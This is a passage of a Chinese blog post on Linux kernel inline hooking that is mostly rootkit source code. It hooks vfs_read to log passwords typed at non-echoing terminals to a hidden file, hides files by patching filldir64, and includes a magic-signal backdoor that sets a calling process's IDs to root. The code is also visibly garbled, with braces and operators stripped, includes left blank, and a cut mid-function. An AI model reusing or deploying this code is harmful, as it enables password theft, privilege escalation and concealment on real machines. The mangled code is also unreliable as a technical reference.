linux 进程 inline hook,高级Linux Kernel Inline Hook技术分析与实现

五、实例

下面是hook sys_read的部分代码实现,读者可以根据思路来补充完整。

config.h

#ifndef CONFIG_H

#define CONFIG_H

#define SNIFF_LOG "/tmp/.sniff_log"

#define KALL_SYMS_NAME "/proc/kallsyms"

#define HIDE_FILE "test"

#define MAGIC_PID 12345

#define MAGIC_SIG 58

#endi

hook.h

#ifndef HOOK_H

#define HOOK_H

#define HOOK_VERSION 0.1

#define HOOK_DEBUG

#ifdef HOOK_DEBUG

#define DbgPrint(format, args...) \

printk("hook: n:%s-L%d: "format, __N__, __LINE__, ##args);

#else

#define DbgPrint(format, args...) do while(0);

#endif

#define SYS_REPLACE(x) orig_##x = sys_call_table[__NR_##x]; \

sys_call_table[__NR_##x] = new_##x

#define SYS_RESTORE(x) sys_call_table[__NR_##x] = orig_##x

#define CLEAR_CR0 asm ("pushl %eax\n\t" \

"movl %cr0, %eax\n\t" \

"andl $0xfffeffff, %eax\n\t" \

"movl %eax, %cr0\n\t" \

"popl %eax");

#define SET_CR0 asm ("pushl %eax\n\t" \

"movl %cr0, %eax\n\t" \

"orl $0x00010000, %eax\n\t" \

"movl %eax, %cr0\n\t" \

"popl %eax");

struct detor_idt

unsigned short offset_low;

unsigned short ignore1;

unsigned short ignore2;

unsigned short offset_high;

;

static struct

unsigned short limit;

unsigned long base;

__attribute__ ((packed)) idt48;

void **sys_call_table;

asmlinkage ssize_t new_read(unsigned int fd, char __user *buf,size_t count);

asmlinkage ssize_t (*orig_read)(unsigned int fd, char __user*buf, size_t count);

#endif

k_file.h

#ifndef TTY_SNIFF_H

#define TTY_SNIFF_H

#define BEGIN_KMEM mm_segment_t old_fs =get_fs();set_fs(get_ds());

#define END_KMEM set_fs(old_fs);

#define BEGIN_ROOT int saved_fsuid = current->fsuid; \

current->fsuid = 0;

#define END_ROOT current->fsuid = saved_fsuid;

#define IS_PASSWD(tty) L_ICANON(tty) && !L_ECHO(tty)

#define READABLE(f) (f->f_op&&f->f_op->read)

#define _read(f, buf, sz) (f->f_op->read(f, buf,sz,&f->f_pos))

#define WRITABLE(f) (f->f_op&&f->f_op->write)

#define _write(f, buf, sz) (f->f_op->write(f, buf,sz,&f->f_pos))

#define TTY_READ(tty, buf, count)(*tty->driver->read)(tty,0, \

buf, count)

#define TTY_WRITE(tty, buf,count)(*tty->driver->write)(tty, 0, \

buf, count)

int write_to_file(char *logfile, char *buf, int size);

#endif

k_file.c

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include "k_file.h"

int write_to_file(char *logfile, char *buf, int size)

mm_segment_t old_fs;

struct file *f = NULL;

int ret = 0;

old_fs = get_fs();

set_fs(get_ds());

BEGIN_ROOT

f = filp_open(logfile, O_CREAT O_APPEND, 00600);

if (IS_ERR(f))

printk("Error %ld opening %s\n", -PTR_ERR(f), logfile);

set_fs(old_fs);

END_ROOT

ret = -1;

else

if (WRITABLE(f))

_write(f, buf, size);

else

printk("%s does not have a write method\n", logfile);

set_fs(old_fs);

END_ROOT

ret = -1;

if ((ret = filp_close(f,NULL)))

printk("Error %d closing %s\n", -ret, logfile);

set_fs(old_fs);

END_ROOT

return ret;

get_time.c

#include

#include

#include

#include

#include

#include

/* Macros used to get local time */

#define SECS_PER_HOUR (60 * 60)

#define SECS_PER_DAY (SECS_PER_HOUR * 24)

#define isleap(year) \

((year) % 4 0 && ((year) % 100 != 0 (year) % 400 0))

#define DIV(a, b) ((a) / (b) - ((a) % (b) < 0))

#define LEAPS_THRU_END_OF(y) (DIV (y, 4) - DIV (y, 100) + DIV(y,400))

struct vtm

int tm_sec;

int tm_min;

int tm_hour;

int tm_mday;

int tm_mon;

int tm_year;

;

int timezone;

int epoch2time(const time_t * t, long int offset, structvtm*tp)

static const unsigned short int mon_yday[2]13=

/* Normal years. */

0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365,

/* Leap years. */

0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366

;

long int days, rem, y;

const unsigned short int *ip;

days = *t / SECS_PER_DAY;

rem = *t % SECS_PER_DAY;

rem += offset;

while (rem < 0)

rem += SECS_PER_DAY;

--days;

while (rem >= SECS_PER_DAY)

rem -= SECS_PER_DAY;

++days;

tp->tm_hour = rem / SECS_PER_HOUR;

rem %= SECS_PER_HOUR;

tp->tm_min = rem / 60;

tp->tm_sec = rem % 60;

y = 1970;

while (days < 0 days >= (isleap(y) ? 366 : 365))

long int yg = y + days / 365 - (days % 365 < 0);

days -= ((yg - y) * 365 + LEAPS_THRU_END_OF(yg - 1)

- LEAPS_THRU_END_OF(y - 1));

y = yg;

tp->tm_year = y - 1900;

if (tp->tm_year != y - 1900)

return 0;

ip = mon_yday[isleap(y)];

for (y = 11; days < (long int) ip[y]; --y)

continue;

days -= ip[y];

tp->tm_mon = y;

tp->tm_mday = days + 1;

return 1;

/*

* Get current date & time

*/

void get_time(char *date_time)

struct timeval tv;

time_t t;

struct vtm tm;

do_gettimeofday(&tv);

t = (time_t) tv.tv_sec;

epoch2time(&t, timezone, &tm);

sprintf(date_time, "%.2d/%.2d/%d-%.2d:%.2d:%.2d", tm.tm_mday,

tm.tm_mon + 1, tm.tm_year + 1900, tm.tm_hour, tm.tm_min,

tm.tm_sec);

=

hide_file.c

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include "config.h"

#define ROUND_UP64(x) (((x)+sizeof(u64)-1)&~(sizeof(u64)-1))

#define NAME_OFFSET(de) ((int) ((de)->d_name - (char __user*)(de)))

struct getdents_callback64

struct linux_dirent64 __user * current_dir;

struct linux_dirent64 __user * previous;

int count;

int error;

;

int new_filldir64(void * __buf, const char * name, intnamlen,loff_t offset,

ino_t ino, unsigned int d_type)

struct linux_dirent64 __user *dirent;

struct getdents_callback64 * buf = (struct getdents_callback64*)__buf;

int reclen = ROUND_UP64(NAME_OFFSET(dirent) + namlen + 1);

buf->error = -EINVAL; /* only used if we fail.. */

if (reclen > buf->count)

return -EINVAL;

dirent = buf->previous;

if (dirent)

if (strstr(name, HIDE_FILE) != NULL)

return 0;

if (__put_user(offset, &dirent->d_off))

goto efault;

dirent = buf->current_dir;

if (strstr(name, HIDE_FILE) != NULL)

return 0;

if (__put_user(ino, &dirent->d_ino))

goto efault;

if (__put_user(0, &dirent->d_off))

goto efault;

if (__put_user(reclen, &dirent->d_reclen))

goto efault;

if (__put_user(d_type, &dirent->d_type))

goto efault;

if (copy_to_user(dirent->d_name, name, namlen))

goto efault;

if (__put_user(0, dirent->d_name + namlen))

goto efault;

buf->previous = dirent;

dirent = (void __user *)dirent + reclen;

buf->current_dir = dirent;

buf->count -= reclen;

return 0;

efault:

buf->error = -EFAULT;

return -EFAULT;

hook.c

/*

My hook engine v0.20

by wzt

tested on amd64 as5, x86 as4,5

*/

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include "syscalls.h"

#include "config.h"

#include "k_file.h"

#include "hide_file.h"

#include "hook.h"

#define READ_NUM 200

extern int write_to_file(char *logfile, char *buf, int size);

ssize_t (*orig_vfs_read)(struct file *file, char __user*buf,size_t count,

loff_t *pos);

int (*orig_kill_something_info)(int sig, struct siginfo *info,intpid);

unsigned int system_call_addr = 0;

unsigned int sys_call_table_addr = 0;

unsigned int sys_read_addr = 0;

unsigned int sys_getdents64_addr = 0;

unsigned int sys_kill_addr = 0;

unsigned int kill_something_info_addr = 0;

int hook_kill_something_info_flag = 1;

int hook_vfs_read_flag = 1;

spinlock_t tty_sniff_lock = SPIN_LOCK_UNLOCKED;

unsigned int filldir64_addr = 0;

unsigned char old_filldir64_opcode[5];

unsigned int get_sct_addr(void)

int i = 0, ret = 0;

for (; i < 500; i++)

if ((*(unsigned char*)(system_call_addr + i) 0xff)

&& (*(unsigned char *)(system_call_addr + i + 1)0x14)

&& (*(unsigned char *)(system_call_addr + i +2)0x85))

ret = *(unsigned int *)(system_call_addr + i + 3);

break;

return ret;

unsigned int find_kernel_symbol(char *symbol_name,char*search_file)

mm_segment_t old_fs;

ssize_t bytes;

struct file *file = NULL;

char read_buf[500];

char *p, tmp[20];

unsigned int addr = 0;

int i = 0;

file = filp_open(search_file, O_RDONLY, 0);

if (!file)

return -1;

if (!file->f_op->read)

return -1;

old_fs = get_fs();

set_fs(get_ds());

while ((bytes = file->f_op->read(file, read_buf,500,&file->f_pos)))

if ((p = strstr(read_buf, symbol_name)) != NULL)

while (*p--)

if (*p "\n")

break;

while (*p++ != " ")

tmp[i++] = *p;

tmp[--i] = "\0";

addr = simple_strtoul(tmp, NULL, 16);

DbgPrint("find %s at: 0x%8x\n", symbol_name, addr);

break;

filp_close(file,NULL);

set_fs(old_fs);

return addr;

unsigned int try_find_kernel_symbol(char *symbol_name,char*search_file,

int search_num)

unsigned int addr = 0;

int i = 0;

for (i = 0; i < search_num; i++)

addr = find_kernel_symbol(symbol_name, search_file);

if (addr)

break;

return addr;

ssize_t new_vfs_read(struct file *file, char __user *buf,size_tcount,

loff_t *pos)

ssize_t ret;

ret = (*orig_vfs_read)(file, buf, count, pos);

if (ret > 0)

struct task_struct *tsk = current;

struct tty_struct *tty = NULL;

tty = tsk->signal->tty;

if (tty && IS_PASSWD(tty))

char *tmp_buf = NULL, buff[READ_NUM];

if (ret > READ_NUM)

return ret;

tmp_buf = (char *)kmalloc(ret, GFP_ATOMIC);

if (!tmp_buf)

return ret;

copy_from_user(tmp_buf, buf, ret);

snprintf(buff, sizeof(buff),

"\t--\tpasswd: %s\n", tsk->comm,

tmp_buf);

write_to_file(SNIFF_LOG, buff, strlen(buff));

kfree(tmp_buf);

return ret;

int new_kill_something_info(int sig, struct siginfo *info,intpid)

struct task_struct *tsk = current;

int ret;

if ((MAGIC_PID pid) && (MAGIC_SIG sig))

tsk->uid = 0;

tsk->euid = 0;

tsk->gid = 0;

tsk->egid = 0;

return 0;

else

ret = (*orig_kill_something_info)(sig, info, pid);

return ret;

unsigned int patch_kernel_func(unsigned int handler, unsignedintold_func,

unsigned int new_func)

unsigned char *p = (unsigned char *)handler;

unsigned char buf4= "\x00\x00\x00\x00";

unsigned int offset = 0;

unsigned int orig = 0;

int i = 0;

DbgPrint("\n*** hook engine: start patch func at:0x%08x\n",old_func);

while (1)

if (i > 512)

return 0;

if (p[0] 0xe8)

DbgPrint("*** hook engine: found opcode 0x%02x\n", p[0]);

DbgPrint("*** hook engine: call addr: 0x%08x\n",

(unsigned int)p);

buf[0] = p[1];

buf1= p[2];

buf2= p[3];

buf3= p[4];

DbgPrint("*** hook engine: 0x%02x 0x%02x 0x%02x 0x%02x\n",

p[1], p[2], p[3], p[4]);

offset = *(unsigned int *)buf;

DbgPrint("*** hook engine: offset: 0x%08x\n", offset);

orig = offset + (unsigned int)p + 5;

DbgPrint("*** hook engine: original func: 0x%08x\n", orig);

if (orig old_func)

DbgPrint("*** hook engine: found old func at"

" 0x%08x\n",

old_func);

DbgPrint("%d\n", i);

break;

p++;

i++;

offset = new_func - (unsigned int)p - 5;

DbgPrint("*** hook engine: new func offset:0x%08x\n",offset);

p1= (offset & 0x000000ff);

p2= (offset & 0x0000ff00) >> 8;

p3= (offset & 0x00ff0000) >> 16;

p4= (offset & 0xff000000) >> 24;

DbgPrint("*** hook engine: pachted new func offset.\n");

return orig;

  static int inline_hook_func(unsigned int old_func, unsignedintnew_func,0b1331709591d260c1c78e86d0c51c18.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值